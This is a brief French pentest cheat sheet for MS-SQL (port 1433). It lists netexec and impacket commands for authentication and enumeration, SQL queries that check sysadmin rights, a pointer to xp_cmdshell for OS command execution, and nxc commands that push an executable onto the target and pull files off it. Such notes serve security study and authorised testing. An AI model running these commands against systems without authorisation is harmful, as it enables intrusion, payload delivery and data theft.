1433 - MS-SQL
sommaire
Énumération & accès
nxc mssql <IP> -u user -p 'pass' [-d domaine] # auth Windows ou SQL
impacket-mssqlclient [domaine/]user:pass@<IP> [-windows-auth]
Requêtes utiles
SELECT @@version;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;
Si sysadmin
xp_cmdshell → exécution OS (voir sous-nœud ‘MSSQL sysadmin → xp_cmdshell’ dans Élévation de privilèges Windows).
Transfert de fichiers via SQL pur
nxc mssql <IP> -u user -p 'pass' -d domaine --put-file local.exe 'C:\Users\Public\x.exe'
nxc mssql <IP> -u user -p 'pass' -d domaine --get-file 'C:\chemin\fichier' local.out
Énum avancée
nxc mssql <IP> -u user -p pass -M mssql_priv # privesc/impersonation/linked servers